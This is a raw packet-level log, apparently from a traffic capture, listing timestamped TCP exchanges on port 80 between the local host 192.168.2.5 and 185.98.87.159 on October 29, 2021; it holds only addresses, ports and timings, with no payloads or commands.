Oct 29, 2021 20:11:03.036422968 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036444902 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036448956 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036468983 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036490917 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036499023 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036514997 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036536932 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036545038 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036560059 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036582947 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036587000 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036606073 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036628008 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036629915 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036650896 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036674023 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036680937 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036696911 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036715984 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036737919 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036752939 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036761045 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036782980 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036787033 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036804914 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036809921 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036828041 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036859035 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036866903 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036891937 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036914110 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036938906 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036984921 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.040698051 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.089303017 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089339018 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089360952 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089382887 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089394093 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.089405060 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089428902 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089436054 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.089452028 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089473009 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089476109 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.089495897 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089519978 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.089519978 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089543104 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089565039 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089575052 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.089590073 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089612007 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.089612007 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089636087 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089658022 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089662075 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.089679956 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089700937 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.089701891 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089724064 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089745045 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.089746952 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089770079 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089791059 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089812040 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.089813948 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089833975 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089837074 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.089854956 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089874029 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089874983 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.089894056 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089915037 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089915991 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.089936018 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089956045 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089977026 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.089986086 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.089998007 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090007067 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090019941 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090039015 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090043068 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090059042 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090079069 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090097904 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090101957 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090120077 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090127945 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090142965 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090162992 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090166092 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090183973 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090204000 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090223074 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090239048 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090254068 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090265989 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090275049 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090286970 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090293884 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090310097 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090320110 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090338945 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090357065 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090358019 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090379000 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090396881 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090399027 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090419054 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090439081 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090452909 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090459108 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090480089 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090481997 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090501070 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090508938 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090519905 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090539932 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090558052 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090559959 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090579987 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090596914 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090599060 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090620041 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090634108 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090639114 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090658903 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090677023 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090694904 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090697050 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090723038 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090723991 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090744972 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090764046 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090765953 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090784073 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090800047 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090804100 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090823889 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090842962 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090858936 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090862989 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090883970 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090887070 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090903997 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090915918 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.090924025 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090943098 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090962887 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.090962887 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.091008902 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.091031075 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.091049910 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.091053009 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.091069937 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.091073990 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.091089010 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.091105938 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.091109037 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.091128111 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.091149092 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.091154099 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.091186047 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.143656015 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.143688917 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.143712997 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.143733978 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.143754959 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.143767118 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.143776894 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.143795013 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.143800020 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.143816948 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.143821955 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.143843889 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.143862009 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.143865108 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.143887043 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.143899918 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.143908978 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.143929005 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.144314051 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.146564960 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146594048 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146615982 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146640062 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146661043 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146672010 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.146686077 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146691084 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.146709919 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146713972 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.146732092 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146754026 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146766901 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.146775007 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146795988 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146809101 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.146819115 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146840096 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.146840096 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146862984 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146874905 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.146884918 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146905899 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146927118 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146935940 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.146949053 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146970987 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.146974087 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.146992922 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147011995 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147013903 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147036076 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147046089 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147058964 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147079945 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147094965 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147102118 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147124052 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147145987 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147161961 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147169113 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147190094 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147203922 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147212029 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147228956 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147234917 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147258043 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147278070 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147279978 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147300959 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147319078 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147325993 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147347927 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147366047 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147370100 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147392988 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147409916 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147414923 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147435904 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147449017 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147458076 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147480011 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147502899 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147516966 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147524118 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147545099 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147557974 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147566080 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147583008 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147588968 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147610903 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147620916 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147631884 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147651911 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147674084 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147684097 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147696972 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147717953 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147718906 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147741079 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147754908 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147763014 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147783995 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147804976 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147814989 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147828102 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147847891 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147850990 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147872925 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147891045 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147893906 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147916079 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.147928953 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.147938013 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.150430918 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.200123072 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200156927 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200181961 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200206041 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200228930 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200246096 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.200253010 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200264931 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.200275898 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200298071 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200299025 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.200321913 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200341940 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.200344086 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200365067 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200387955 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200409889 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200411081 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.200429916 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.200429916 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200452089 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200473070 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200474024 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.200494051 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200515032 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200531006 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.200536966 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200558901 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.200558901 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200582027 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200602055 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.200603962 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200627089 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200649023 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200664997 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.200670958 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200692892 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200695038 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.200715065 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200736046 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200737000 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.200758934 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200774908 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.200778961 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200800896 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200822115 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200836897 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.200843096 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200871944 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.200886011 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200908899 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200927019 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.200930119 CEST	80	49839	185.98.87.159	192.168.2.5
